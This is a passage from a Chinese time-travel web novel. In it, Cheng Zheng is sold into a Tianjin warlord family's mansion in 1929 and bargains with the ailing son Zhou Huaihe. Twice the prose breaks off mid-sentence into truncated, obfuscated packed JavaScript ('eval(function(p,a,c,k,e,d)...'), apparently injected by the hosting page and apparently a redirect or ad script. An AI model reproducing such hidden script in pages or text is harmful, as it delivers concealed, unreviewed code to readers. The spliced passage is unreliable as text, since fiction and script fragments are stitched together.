第四天晚上,灌了他十二碗水。 第五天,周姓男子长出舌头了,真是普天同庆。程筝急急忙忙给玉玲打去电话,说自己终于画成了。 相比较她,玉玲显然是经历过大事的,说她当年练这符只花了一小时。 “那就可以开始问话了,那些年里的事没人比他更清楚。”玉玲转回正题,言简意赅。 程筝脑子里晃过什么东西,她迟疑道:“我之前就很想问。” “我跟那位程筝同名,你说我们模样也一样,我做的梦也是一百年前的场景。” “玉玲师父,那我是谁?” 她不信天下会有这么巧的事,更何况她的名字还是姥姥刻意取的。 电话对面许久没有声音,久到程筝以为她不会说话了。 “你会成为她。” “成为”——程筝反复咀嚼这两个字。 不知怎的,有种从名字到人生都被安排好的错觉。 好像生来就是为了成为那位“程筝”的。 程筝蜷了蜷指尖,未知的情绪铺天盖地涌上来。 无论如何,现在先要把姥姥的命救回来,剩余的事日后再想。她净了净心。 青檀山上,玉玲被关在屋内,挂断了电话。 折页门倏地打开,外头的人送饭进来,悠悠然叹息:“师祖,师父他们本就不允许你下山,这次偷跑下去,还偷走法器,也难怪他们不顾礼仪也要关你。” 将木盘置于桌台上,她瞥见玉玲板直身子,眼神动也不动。 “师祖,‘何玉玲’几十年前就宣告死亡了,您不能再出去惹事了。” 玉玲缓缓睁开眼。 “饭菜送来,就出去吧。” “…………” 周姓男子长出舌头以后,终于可以说话,程筝坐在 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时间仿若静止了一般,程筝盯着他白瓷般的面颊看,不知是不是符水滋养的缘故,敲上去要比之前不人不鬼的模样多了几分气色。 红楼梦里用“面若中秋之月,色如春晓之花”形容贾宝玉,那一刻程筝脑中兀地一痛,想起来的却是—— “周怀鹤,色若春花。” 她怔神,瞧见对方淡红的唇瓣轻微张合起来,浅淡的声音传入耳朵。 程筝,1910年生人,出生于佃户之家,家有一亩良田,父母务农。 随后军阀割据混战,佃租加重,当时的管辖这片地的人叫王利民,他要求改种罂/粟,自产自销。 恰逢程筝母亲大病,1929年,程筝被父亲程翰以八十大洋的价格卖给王利民作丫鬟。 王利民见其面容灵动、性格强犟,于是转而赠予给当时驻扎河北派系的旅长少将周怀良,周怀良毫无兴趣,其父周峥却偏信方士之术,截胡意图收作六姨太。 意在以“筝”补“峥”,正其中气,延其性命。 “……” 轿车内皮革和燃油的味道混杂难分,程筝忍住反胃,将这些事情在脑中囫囵过了一遍。 鼻腔里那点燃香的味道还久久不散,临行之前玉玲在电话里一再强调:首先要保全她自己的性命,其次是解决周怀鹤的事,要杀还是要救,由她自己定夺。 只是现在这情况…… 她被五花大绑扔在后座上,涎水将口中帕子浸透,双手双脚也被捆出了淤青,一动便疼痛难忍。 按流程算来,现应是到了程筝十九岁被卖给收佃租的王利民,王利民为向周家长子周怀良示好,将她捆了送到周怀良驻扎天津的公馆里。 老牌汽车颠簸不止,在一次次晃动中,程筝终于想起有哪里觉得熟悉了……覃梦华交上来的那篇小说! 那文里未曾以真实姓名称人,但无论是军阀身份还是三兄弟明争暗斗,以及她六姨太的身份,都与那故事一般无二。 写那小说的又是谁…… 还来不及细想,车停了。 “王团长闲在,有何贵干?”听声音是一位年纪不小的妇人。 “给周少将送个人。”王利民和声和气道。 “什么人呐?大少爷没交代过。” 窃窃私语的细碎声音,程筝躺在车里一点儿也听不着了,等了得有将近半个小时,她身子动弹不得,筋骨酸痛,听见外头那老妈子高声吆喝:“大少爷说了,府上不收丫头,叫您哪儿来的丢哪儿去。” “前阵子周家不是还到处买丫头吗?我以为——” “呸呸呸!”老妈子吐起唾沫来,“我们大少爷是为了给老东家庆生,老东家近日身子骨弱得不行,吃的药要跟那小少爷有得一拼了,收了个相面的方士说找个八字合的、名字里带同音字的,给东家冲一冲,大少爷这才费心。” 像是极为嫌弃似的,老妈子声音细声细气,说得飞快:“真以为大少爷跟老东家那浪里白龙似的……” 意识到在外头揭了老东家的短,她马上就矢口否认:“哎哎,我可什么都没说。” 王利民也懒得同她掰扯这事,只是骤然想到:我收的这丫头名字里就有‘筝’字啊。 讨不得上司的欢心,叫他家老爷子高兴了,说不准也有好处哩! 6.第 6 章 车子重新发动起来,轰隆隆地震耳朵,程筝拱了拱身子,想往起坐,王利民瞧了眼后视镜,叫她省点儿力气。 “你们家已经收了我的钱,现在我叫你做什么就得做什么,周老爷子要是收你,你还能过上姨太太般富贵的生活。”说着,笑一声,“不然只有落得跟你那染痨病的母亲一个下场。” 程筝就算有心反驳,也被嘴里帕子堵住了,换了个姿势以后就没动了,静静垂着睫毛等王利民开车将她往周峥的公馆里送。 除周怀良之外,周家其余人丁都跟老爷子住在一起,据程芸菁女士所说,“程筝”进周家一月以后,老二才从美国留洋回来,在此之前老宅里仅有周峥与其太太,以及那个身弱的小儿子——周怀鹤。 那就是她要找的,坛子里那人。 这都不算什么,都还能接受 ,可姥姥说,她曾与这小少爷有染。 程筝感到头疼。都要嫁给他爹了,怎么又跟小儿子有染,当时是怎么乱成一团的。 宽阔的道路上,各式各样的汽车杂乱地交流着,南北行的车子都停了下来等待红绿灯的命令。 再往前一段距离是法国人住的租界,那时候天津路上行的都是胶皮车,分两种:一种轱辘小车把短,只能在华界跑车;另一种轱辘高的,车后挂六国捐牌,车夫穿黄号坎,无论去哪国租界都行,高一级似的。 到处都是阶级。 程筝观察着车窗外的街景,当时正值苦夏,日头高,穷的人浑身冒汗,富人托着阳伞,身上好似只有香味儿。 周公馆里就到处是香味儿。 三层楼高的大洋房,红砖房子,硕大的院子里差使了几个老妈子给花圃浇水,娇嫩的花瓣被过烈的太阳晒蔫巴了,碰着点儿水又鲜亮起来,大门口竖着两个家仆守门,问他们找谁。 王利民拉下车窗,说是给老爷子送人来了。 里头的人通报了半晌,把大门推开,叫王利民将车停在外头,人带进去。 程筝闷头出了点儿汗,还被捆着,王利民想了想,拉开后座车门把塞嘴的帕子扯出来扔到一边儿,程筝干呕了几下才平复。 王利民看看外头,又看看她,扯过她被绳子捆住的胳膊开始解,压低声音威逼:“你最好识趣点儿,哄着点儿人,如果跟不了周老爷,你就跟我回去罢。” 瞬间,他捏着她的下巴往回转,揶揄:“脸蛋儿是不错,就是性子差了些,我太太眼里容不得你,跟我回去也只能睡厨房,名分更是别想有。” 程筝咬紧后槽牙,不想说话。 王利民前一秒还瞪着豆大的小眼睛威逼她,后一秒就冲那家仆笑,理理西装领子,拎拎领结,面不改色叫她下车进去。 屋里屋外完全两个天地,大厅极大,走不到头似的,沙发底下垫的都是真动物皮毛做的地毯,踩上去无声无响。 一个梳着斜麻花头的丫头招呼二人在侧边小沙发上坐着,端着漆盘抬了茶上桌,龙井茶叶在热水里浮浮沉沉,旁边摆着盘四色糖果瓜子。 “周爷呢?”王利民问。 “东家还在醒觉,稍等一会儿罢。”说完欲走,恭恭敬敬的,不复恰才在后院跟姐妹打闹的娇俏模样。 王利民四下瞧了瞧,拦住人追问:“周太太不在家里吧?” 丫头古怪地上下打量他,王利民说:“今日跟周爷谈的事不适合叫太太知道。” “晓得了。”她说,“陈家太太待客,太太今日去上海了。” 说完,又瞧了程筝一眼,眼里排挤的情绪毫不掩饰,心底里肯定还是护着自家太太的,第一眼就将她视为外敌。 瞧得她连瓜子都不敢嗑了,饿着肚子又放下去,只能喝点茶水。 苦的,咂摸不出什么味儿。 半盏茶入肚,周爷终于醒了觉,慢悠悠扶着楼梯扶手往下走。 五十岁上下的年纪,着褐色春绸长袍,戴一柄圆形金丝眼睛,装得一派文人风雅,实际上是做外贸生意起家。 程筝刚刚出了汗,现在正缺水,一边抿茶一边回忆。 娶的太太是宁波人,娘家在天津做过一段时间的生意,劝业场旁边那个最大的洋货商场就是周太太独有的,周峥送给她当家本的,货物也是从周家的轮船上走。 周峥年轻时在轮船局做事,后来外国资本入侵,转做起洋人生意,到现在一家独大,人脉通天。 更不用说他几个儿子,大儿子周怀良军校毕业,雷厉风行爬上旅长少将的位置,有这根擎天柱撑着,没人敢得罪周家;老二方秋水,在美国留学,应该马上就要回来,但程芸菁说老二之所以不姓周,只因他并非周峥的亲生骨肉。 周峥的二太太是他从小的青梅竹马,强取豪夺来的,夺来的时候肚子里就已经有了种,周峥竟甘心给别人养孩子,也是唏嘘。 最后,那个小儿子周怀鹤,是最没用处的。身子差,早年也不在周家长大,在他香港的姑母那里,他似乎也遗传了母亲的体弱多病,除了喝药什么也不会。 又或许是程芸菁女士为了护着他,故意不跟她说实话。 程筝走神想着,吃了一口茶叶进去,吐进杯子里也奇怪,只能面色古怪地嚼了咽下去。 周峥瞧了她一眼,王利民忙打哈哈:“乡下丫头,不懂这些,连茶叶都吃,周爷别见怪。” “什么事?”周峥端着鹅黄色宋瓷茶盏,吹了口浮沫,问姓王的。 王利民谄媚道:“这不是听说您近来病了,前阵子我底下的一个佃户缺钱,将他闺女卖给我作佣人,我一瞧这名字,正好是老爷子您需要的。” 话说到一半,用胳膊肘怼了怼程筝,吩咐:“快将八字写下来给周爷瞧瞧。” 佣人递上纸笔,她刚准备拿起笔,忽又想到不应该:“我一乡下丫头,不识字。” 被揪住错处就不好了,这里的程筝不应该念过书。 王利民“啧”一声,叫她报,好在姥姥也交代过,程筝就念了出来:“庚戌年、甲申月、 丙午日、己丑时。” “半夜出生的……”王利民将纸片递给周峥,“您看看合适么?” 周峥还在审视,这姓王的嘴里就跑过一溜火车:“周少将平时对我照顾有加,这不,我一听说这事就立马给您寻人来了,毕竟是这么深厚的关系,是吧老爷子。” 主沙发座上的人瞧了瞧这八字,说:“是在何师父给的范围内,名字也合适。” 何师父也是青檀山上下来的道士,程芸菁说他是玉玲的师父,平日里给人相面算命,一般较大的军阀都会养一两个相士,算风水,算从哪里进军,成功率如何,图个吉利。 这位姓何的师父本是周峥给周怀良找的,但周怀良不信这些,推拒了,老爷子就收着自己用,总之对周家来说,多养一张嘴也花不得几个钱。 听见他这么说,王利民笑呵呵拍手:“这不恰好了吗,周少将知道了肯定也为您高兴。” 周峥似乎不大在意,纸片一放下,起身欲上楼,只道一句:“先留下吧,八字我回头再拿给何师父看看。” 跟养个小鸟小猫似的,不当回事。 王利民面露喜色,心想自己又能在周怀良面前邀得一功,目的也算达成,只是苦了这小丫头。 他遗憾地瞧了瞧程筝,暗自心道:如果周少将收她,哪怕没有名分,也比伺候周峥强。 再不济,其实自己也比这老爷子强。 当然,这番攀比的话他自是不敢在周峥面前讲,也只能在心头想一想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程筝探脑袋往里看了一眼,平时应该常有人打扫,被子摊得连褶都没有,跟梦里那场景也像,窗户外头是花园,墙角立着时兴的蒂凡尼灯,琉璃制的万花筒一般,彩色的。 “对了。”芸芸指了指廊道西边,“这边是东家和太太的主卧,太太自是不大待见你,最好别过去惹太太嫌。” 又指指东边,“那边是小少爷的屋子,他平时不大出门,好安静,你走路也小声点儿。” “那另外两个呢?”程筝顺嘴问了一句,打探一下洋房的结构。 “大少爷在外头有自己的公馆,不常回来,住楼下;二少爷下个月中坐船回来,屋子也在楼下。”芸芸古怪一瞬,“你问这个干嘛?” 她也只把程筝当乡下来的丫头,住不了几个月,东家病情要是没好,太太一准留不得她,马上就得将她撵出去。 “问问。”程筝顺着说,“怕得罪人。” 芸芸“哼”一声:“知道就好。” 话音刚落,东边那屋子门把手就被摁下、转开,还在说话的两个人将目光投了过去。 屋子里显出一道颀长纤瘦的人影,个子高,肤色净白,灰棕色西装衬得体型匀称,葱白手指虚虚摁在门把上,瞧了瞧她俩,眸光只在程筝脸上落了一瞬,显得陌生。 芸芸喊了一句:“鹤少爷去哪儿?” 周怀鹤将屋门关上,声音毫无情绪:“叫王发在楼下停好车子,我去一趟交易所。” “晓得了,这就去。”芸芸欠身往楼梯走,周怀鹤刚拐过弯,掠过她身边的时候,风里都是一股泛苦的中药味儿。 他倏地顿足,乌色眼睛又瞧了瞧立在门边的程筝。 程筝上下打量他,第一次见他走路,不知怎地竟觉得新奇。 她还从未见过这人的手足,说话的声音倒是没变,一模一样的。 “这是谁?”周怀鹤问了一句,瞧她衣服布料做工,也不像是能当周家座上宾的人物。 程筝捉弄人一般笑笑,柳叶似的眼睛一弯:“你猜?” 还没入门,白得三个儿子。 7.第 7 章 听见二人对话,芸芸又折返回来,一脸忿然:“新来的客人,鹤少爷不必在意。” 说着,催着周怀鹤到楼底下去。 周怀鹤身子已然侧转过去,目光却仍滞留了片刻,瞧见屋门口那人穿最素的蓝色布衫,头发也不齐整,但笑容却清艳艳的晃眼睛。 下了楼,芸芸高声吆喝着,将待在堂屋跟老妈子一起推牌九的王发拽出来,叫他送鹤少爷去劝业场。 王发刚吐掉嘴里的瓜子壳,推推芸芸的肩膀:“那你替我一下,我这牌要胡。” 芸芸刚“哎”一声,王发就往脸上挂笑,撩开堂屋垂着的帘子往外走,顺手捎上洋伞,打着伞送小少爷到车子那处去。 刚坐进去,周怀鹤问他:“今日家里来客人了?” 王发恰才坐在堂屋推牌的时候听见芸芸抱怨了两句,一知半解:“好像是。” 车子发动起来,王发盯着路况拐弯:“王利民送来的人,说是给老爷子冲喜,也不晓得是不是真有用。” 说完还叹一口气,晃晃脑袋:“太太出门一趟,回来就知道多了个六姨太,肯定不会依。” 周怀鹤叫王发把抽盒里的《晨报》拿给他看,改意说不去劝业场,去证券交易所,没再对此事过多置喙。 总之也没有他说话的份。 报纸上几个字跳进他眼底,周怀鹤兀地走一下神,又心想,周太太倒并不见得会不依。 周太太本名杜流芳,宁波杜家二小姐,也算赫赫有名的家族了,婚后这些年里周峥在外偷吃养姨太太,从未见她多问一句。 不过就是没那么多感情罢了,周峥死在外面她都不见得会眨一下眼睛。 这周公馆看上去气派,实际上内里早就人心各异、崩得四分五裂。 将报纸折好,周怀鹤闭目养神,车座推着他的背。 可养在外面的那些女人总归不会闹到周太太眼跟前,这位新来的算是太岁头上动土,也不知能留到几时。 估计不出一月就得灰溜溜回乡下了。 如此下着定论之时,到交易所了,周怀鹤将王发打发走,叫他两个小时后再来接自己。 王发将脑袋探出车窗,询问:“我在门口待着就成。” 交易所门口人来人往,每张红白脸上都顶着不甚相同的表情。周怀鹤侧一下头,指示:“去附近转一下再过来。” “今日万一有人问起,你只说我是在劝业场潇洒,多的一个字都不要说。” 王发刚想发问,周怀鹤将他的废话堵回去:“王发,你是我母亲带进来关照我的人。” 听闻此言,王发将嘴紧闭,只道明白。 两个小时以后,周怀鹤如何进去的就如何出来,只是手里多了张纸条,被他塞进胸前的口袋里。 上车时他握着拳头抵在唇前咳了几声,王发瞧着就问:“少爷出门前喝药了吗?” “喝了。” 王发了然摇头:“肯定是又倒了,您屋里的龟背竹都要被药给浇死了。” 周怀鹤望着窗外琳琅街景、半亮不亮的霓虹灯牌,轻声:“树喝那么多药都得死,何况人呢。” 这话一提起来就太伤感了,叫王发想起五姨太,只捏了捏方向盘,载着周怀鹤回公馆。 周太太是隔天晌午回来的,一进门,芸芸就招呼了一盏茶上去,吩咐别的丫头将太太带回来的时装珍玩妥善摆好,瞧见她鼻尖儿发汗,芸芸忙取了白团扇来给太太扇风,刮出一道道香风来。 “太太这次去上海劳顿了。”芸芸嘴甜地说体己话。 靛蓝纹缎齐膝旗袍,坐下的时候胯部和腰部都皱起褶子,周太太热得没心思扯平,啜饮一口凉茶,道:“近日上海动荡,街上都是纺织女工闹罢工,规模忒大,陈太太约我出门逛街,逛一半就灰溜溜回去了。” “这不,就捎回来这么些东西,良记的点心你拿过去,叫杨妈分下去吃了罢,我专从南京路带回来的。” 芸芸扇风扇得卖力,周太太的粉钻耳坠一下下地晃,小丫头嗓音也甜腻腻的:“还是太太念着我们。” 说话间,周太太的目光落于茶案那碟四色糖果瓜子上,疑惑:“我竟不知有谁这样爱吃瓜子,昨日我走时还是满满一罐,怎地就见底了?” 芸芸愣了一下,目光挪过去,扇子也停了,在周太太面前惊呼起来:“嘿——那小偷!” “小偷”程筝正窝在几个平方的屋子里嗑瓜子,嗑完一把还能从另一个兜里再掏出来一把,嗑得嘴唇都要起泡了,可又闲得没有事情做。 正要无聊叹气,门倏地被拧开,芸芸忿忿指责:“太太,就是这人!” 鹅黄色的床帷遮挡视线,嘴里的瓜子壳上裹了糖霜,甜丝丝的,程筝含着瓜子望向门口,见那身型细条条的周太太绕过红木床榻,到她跟前来。 “崇文把你带回来的?”这个家里现在也只有周太太敢直呼周老爷的小字了。 她瞧上去比周老爷年轻上四五岁,眼皮下落又上扬,将她细细打量了一番。 程筝将瓜子吐在纸巾里,回说:“我是被卖过来的。” “你父亲母亲呢?” 程筝:“我家是佃户,母亲生病后,父亲八十元将我卖给王利民,王利民将我送来的。” 芸芸碎嘴嘀咕:“就是乡下丫头……连瓜子都偷。” 周太太略一蹙眉,眼神示意芸芸不要插嘴。 “崇文说了要收你做六姨太?”她复又问。 程筝摇头:“他说要再跟何师父对我的八字。” 周太太一斜嘴,冷呵:“何师父那装神弄鬼的八仙儿他也信,钱多得没处使罢了。” 八字这事程筝倒不担心,她报的八字应当是正好撞在周峥的档口上的,不然那个“程筝”也留不到那么久,八字不合立马就得被扫地出门了。 现在的棘手事就是八字太合了,程筝担心自己真就嫁给老头子。 她昨日想了一宿,既要有借口留在周家,又不能出卖自己的身体灵魂,如今能稍微试一试的办法,就是叫这周太太闹脾气,不允周峥娶姨太太,尚能拖上一拖。 程筝细细想了想,好言相劝: “是,但我现今已经入了周公馆,万一长住下去的话,”眼睛一转,“是免不了要跟太太相处的。” 芸芸一见这瓜子贼的做作样就气上心头:“你怕不是做梦!周公馆是太太——” “芸芸。”周太太叫她平息一下火气,红艳艳的嘴唇轻声吐字,再瞧了程筝一眼,“住就住吧,合该不由我出钱,他爱如何如何。” 芸芸胸脯鼓了几下,咬牙切齿:“太太!老爷那个混样子你也不骂骂他!” “骂又如何。”周太太提起旧事,“之前骂过,他怪我将二太太骂死了,现在他还恨着,我再骂,就改了么?” 程筝没预料到会有这层,略微怔了怔。 刚坐了几个小时的火车回来,周太太像是乏了,轻声轻调嘲讽几句:“娶那么多姨太太无非是跟我对着干,叫我后悔、怄气,我偏不怄,看最后气的是谁。我已经没力气在这个年纪还为男人大动肝火了。” 程筝稍稍落下眼睫,闷声:“周老爷那么混,何不离了。” 周太太一挑眼梢:“你倒是挑拨得快。” 说完,笑容落下去,往屋外走,“公馆里我还能说得一两句话,在我宁波的家里,我说话可没有份量,谁准我离。” 走到门槛处了,又嫌弃地瞧了眼她的衣服,“改明儿叫芸芸领你去街上的估衣铺量量尺寸,做几身得体的衣服,穿这个走出公馆,掉价,人家要以为周家生意破产了。” 芸芸窝了一肚子气,想为自家太太鸣不平,又不能说,只能瞪着程筝,怒气冲冲把门关上,下楼的时候周太太还交代她让杨妈将点心分程筝一份,凑一张嘴,反正大家也吃不完。 芸芸都要气哭了:“太太你就不委屈?” 到了楼下大堂,周太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王发听到这里,表情莫名地挪开视线,煞有其事地追上楼去叫搬盆栽的慢点儿。 这一番对话全叫坐在沙发上的程筝听了去,估计也没人在意她这个乡下丫头。 她静静坐了一会儿,喝完茶,上楼去了。 傍晚七时到八时,佣人会给周怀鹤放好热水洗澡,他总嫌自己皮肤里的药味儿难闻,浴洗得勤快。 这日刚洗完,黑发簌簌向下落水,拧开门把手,见那新来的“六姨太”正落座于他的屋子里,不问自来。 手边搁着一盘良记的糕点,笑盈盈又不怀好意地看着他。 又是跟那日一样的笑容。 周怀鹤略略绷紧唇角,乌睫抖落水珠,回身关上门。 他身子略瘦了些,下巴和脖子上挂着的温热水珠几乎是顺着骨头的弧度下滑,坠进领口里。 周怀鹤静声,立在门口没动,提醒:“天已经黑了,你怎么也不该在我房间里。” 程筝两手搭在桌沿,“那我应该在哪儿?周老爷房间里?” 她侧回头,捻了一块绿豆糕在唇间抿开,推荐着:“这是周太太送我的几块糕点,一起品鉴一下?” 周怀鹤面上一副冷淡表情:“不用。六姨太有事早说,我身子差,乏得快,要睡了。” 程筝在心里叹气,谁说这人好说话的,倒是自己偏听偏信了。 “我确实有事相求。” 周怀鹤瞧着她的面庞,在台灯下蒙蒙地虚成一块,未施一粉一黛,没涂好看的口红,没刷那些洋货睫毛膏,就那么素净的一张脸,一双眼睛,静静端详着他。 这位他父亲有意娶进门的六姨太,深夜钻进他的屋子里说有事相求。周怀鹤心想,自己合该立马将她赶出去,否则必是引火上身。 “我帮不——” “你在玩股票,是么?” 一句话,叫周怀鹤顿了。 8.第 8 章 程筝若无其事地衔着糕点,仿若自己什么也没说一般。 周怀鹤再次打量起眼前这人,蓝布衫袖口圈出的手臂细瘦,掌心也是粗糙的,应是经常干活。 睫毛倒长,跟蛾子翅膀似的扑簌起来,眼波流转,清凌凌的。 他思忖片刻,踱去桌边,坐于她对面,给面子捻起一块绿豆糕。 “你又是听谁在背后编排我。” 程筝瞟了他一眼,视线又垂下去,扯谎道:“堂屋里她们推牌时讲的,说鹤少爷常偷着去交易所,还瞒着老爷。” 其实周怀鹤瞒得很好,除了家里那个叫王发的汽车夫,应该没人知道这事,自然也没法儿编排,可程筝总不能说,我是从未来来的,因此知道你的秘密吧。 他坐于对面,靠得近些就能闻到一股花香味儿,浓得盖过那股涩苦的药气,衬得口中的绿豆糕都变没味道了。 周怀鹤身子往后倚,顶住背后书柜,拿起绿豆糕又放在桌子边,没动,搓搓手指尖儿沾的粉末,道:“六姨太怕——” 程筝忍不住纠正:“我还不是。” 他直直瞧着她,改口:“准六姨太怕是听了谣言,这公馆里人人都知道我从香港回来以后,除了养病什么也不会,哪里来的钱玩儿股票。” “再说。”周怀鹤睨眼,“若我真买过又如何?这事够得上威胁我帮准六姨太的忙?” 唇边沾了点儿碎末,程筝用手背揩了一下:“你打算买哪只股?” “银行?粮食?皮毛?还是西药公司?我知道哪只股能让你赚两番。” 周怀鹤看上去就不像将她的话听进心里的样子,估计只认为她在胡扯,岿然不动道:“我身体是差些,但脑子还清楚,有这功夫不如去诓我那心里只有钱的父亲。” 她在私自进周怀鹤屋子之前就已想好了全套说辞,一人侃侃而谈:“听闻鹤少爷足不出户,应该不知外头,尤其是乡下的情况。在我被王利民卖来这里之前,乡下遭过几次匪患,后来那群土匪被捉去充军,我听了点儿行情,他们劫的就是洋人渡来的西药。” 程筝无聊地把盘子里的绿豆糕轻轻捻碎,继续:“王利民那时候也私吞了不少货,他将我跟货一起捎来天津,应该是准备私自卖掉,我见过他跟西药公司的代理谈事,那代理叫甚么威廉,鹤少爷自己去查证就知道了,一家新公司,英国人正卯足了劲儿推向市场,要挣中国人的钱。” 周怀鹤定了定,未言语。 二人中间就隔了一张胡桃木方桌,目光轻轻碰撞,程筝劝道:“英国人无论如何都不会允许开市时大跌的,乘一趟人家的顺风车,不亏。” 现在还算证券发展的早期,按程筝之前补充的资料来看,天津在此之前有一家证券物品交易所,没干多久就倒了,后来只剩一些零零散散的小交易所,随后直到新中国成立以后才成立第一家正式的证券交易所。 不过这个阶段人民买股的热情也很高涨,上海那边尤甚,还有专门的金融学者去做公债生意,数额不小,高达百万。 谈话这么些时间,周怀鹤身上的水珠早就被风吹干了,头发也半干,热度散去以后,唇色淡了些,戚戚然又漂亮的一张脸,也难怪被腌进坛子还能当艳鬼。 程筝心说这人怎么有了舌头也不讲话,真够无趣,自己编这番话可费了好些功夫。 “我知你只把我当乡下野丫头,我的话,十分你怕是只听得一分,理解。”她又退一步,“我知道的也就这些,如果你买了没赚,今日当我没来过;若赚了,再来考虑帮我的忙也不迟,今日这话就当我给鹤少爷的投名状。” 周怀鹤双腿交搭,问她:“你想要我帮什么忙?” “我暂时不想真嫁过来,鹤少爷想办法帮我拖着周老爷就行。” “那为何不找大太太去说。” 程筝觉得他问题忒多:“我自然找过,可她毫不介怀我要入门的事,还分我点心吃,给我做新衣裳。” 周怀鹤算得远:“她只是一时容着你罢了,杜流芳怎么也是大家闺秀出身,自然不会担心你危及她的正妻地位。” 他有些发困,意兴阑珊地盯着她的眉眼,为了醒神,手指敲了敲桌子,“可你住了今日,住了明日,后日流言四起,说周老爷只宠小的,外头人定会编排起杜流芳来,那时她可不一定还能容你。” 程筝道:“我倒不觉得周太太有你说得那么小心眼。” “你既认为她人好,何必还来找我。” 几句话周旋来周旋去,怪不得这人要下拔舌地狱,真是长了一根难缠的舌头。 她切回主题:“消息我也告诉你了,这交易你做是不做?一句话的事。” “你也知道你已经把话说干净了,那我之后反悔不帮你,你又当如何?”周怀鹤认为此人胆大心细到如此地步,连字都不识几个还能坐在他屋子里同他谈起交易来,难免不会有什么阴招后手。 “又当如何?”程筝笑吟吟,觉着面前这人一肚子弯弯绕绕、阴谋诡计,“那鹤少爷就接受一个小你两岁的人当了你的母亲罢!” 她说完,留下半碟子被捻成碎末的绿豆糕,脸一黑就拂衣往屋外走。 周怀鹤的脸比她要更黑几分,视线在绿豆糕上凝了凝,竟是发起笑来。 自从程筝进了周公馆,芸芸的心情就没好过,第二天一早还要把程筝喊起来带去估衣铺做衣裳。 出门的时候正好碰上周峥,芸芸欠身问了声好,程筝犹豫着自己是不是也得装个扭捏样子出来,但周峥仅瞧了她俩一眼,问芸芸要将她带去哪里。 “太太说带她去做两身合身的衣服,总不能叫人一直穿这身破蓝布袍子。” 周峥略一点头,没太上心,踏出几步台阶后又转头吩咐芸芸:“对了,明日把何师父叫来。” 程筝屏了下呼吸,心说居然这么快就要把人请来对她的八字了? “怀鹤今早说身子十分不适,病怏怏的下不来床了,叫何师父来给他瞧瞧,看是不是有什么风水上的说法。”说着,目光晃过程筝,“顺便说定她的事。” 芸芸脸色青了青,斜了程筝一眼,似有诸多不平想要申诉,最后碍于老爷的威严,没敢开口,支支吾吾全应下,随即招手叫来拉黄包车的车夫,载着二人去店里挑料子、量尺寸。 记账时芸芸还格外心疼,叽叽咕咕着:“这匹料子换紫色的,太太说你嫁过来那天得穿得贵气点儿,不能叫人家看笑话。” 程筝认为这都无所谓,总之她暂时是嫁不进来的。 周怀鹤突然要叫何师父过来,应该是变相地答应了她的提议。 早知道只有最后一句“母亲”的话奏效,前面何必还与他说那些七七八八的利益交换,费人口舌。 回公馆的半截路上还被几个军官拦住,叫车夫出示牌子,没牌子不准跑车,车夫只得顶着满头大汗哀哀辩解:“军爷,我平时只跑华界的路,不需要挂牌子啊。” 拦在路口的两个军官只是想找茬,叫车夫掏两块大洋出来交牌子钱,程筝坐在上面拧眉,可她也真是无能为力,她两个口袋也是空的,一个子儿都没有。 这时候芸芸倒开了口:“你知道你拦的是谁家的车吗?” “呦。”军官痞笑,“哪家的俩丫鬟?” 芸芸面不改色,像是见惯了这种调侃:“我们是周家的人,旁边这位是周老爷马上要娶的六姨太,周少将是我们大少爷,你今日敢耍这威风,回去我向少爷参你一本就老实了。” 两人讪讪,矮的凑到高的耳朵跟前说:“周少将前几天才打胜仗回天津小住,现在正是红人,我们还是别招惹为好吧……” 高个子踹了他一脚,斜眼瞧着她俩,将车夫放走了。 车夫鞠了几躬,拿汗巾擦擦额头鼻尖,继续拉起车来。 “你第一次被拦路吗?”程筝开口同那车夫聊闲。 车夫回:“好多次了,每次都说交两个大洋就给我挂牌子,收了钱就钻酒馆里去了。” 程筝不作声了,芸芸瞧了她一眼,道:“这事不新鲜了,没钱没势的就这么过日子,如果不是老爷要留下你,你也差不多,王利民首先会把你留在他那儿,玩得无趣了就将你卖到堂子里。” 说着,她磨起牙齿来:“像我老家的阿姊一样。” 程筝偏头看着芸芸忿忿的眼神,倏地明白过来,她这么烦自己威胁了周太太的地位,但也从未在周老爷面前说过她的不是,说着不想她进门,但连紫色的布匹都会帮她挑。 或许芸芸也为她想过,如果她在周家留不下去,会是怎么一个下场。 回到周公馆以后,芸芸多给了那人两块大洋,带程筝进了里屋。 那时候周太太正跟杨妈她们一起搓麻将,还邀了两个程筝不认识的太太。 金链子环了脖子两圈,鬈卷的头发,手边各自搁了几个矮凳放置点心,都是周太太上次从上海带回来的。 推牌声此起彼伏,芸芸扯着程筝的胳膊将她拽进堂屋里,程筝“嗳”了几声,说她想上楼。 芸芸嘘声,又怨恨起来:“人家看见你上楼,免不得要问,到时候周太太又要被这群太太说小话了。” 程筝无奈: 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芸芸指了指大堂:“老爷还吩咐了事,我得去通两个电话,明日将何师父叫过来给鹤少爷看身体,还得给大少爷通个信,太太叫他月底回来吃饭。” “鹤少爷身子怎地又不好了?”王发摸不着头脑,“他今天还去劝业场的天外天跟孙家少爷吃饭。” “那老爷怎么说他病怏怏的下不了床了,说得忒骇人。”芸芸纳闷。 程筝默默将脑袋拧到一边去,心说这人装虚弱能不能装个全套的,这不一下子就露馅了。 王发脸色变了变,改口维护:“不过我送少爷的时候见他面色惨淡、嘴唇寡白,想是强撑着吧,毕竟孙家大少的饭局也不好推拒。” 芸芸戚戚然:“也苦了他那副弱柳扶风的身子骨了,不讲了,我去打电话。” 说完就迈着步子回了大堂,程筝百无聊赖继续听王发讲漏洞百出的《水浒传》,神绪往外飞了飞,计划着接下来的打算。 第一次穿越,她仅有两年的时间,程筝想明白了,问题不在于周怀鹤是否死亡,而在于他死后,有人用手段拿她程家的命给他续上。 所以她要揪出的是那个幕后凶手,可要想这个幕后凶手浮出水面,周怀鹤还是得死一死,不然她如何得知是谁挖空心思将他留在世间?人死后好歹还能入个轮回不是,下辈子当个好人。 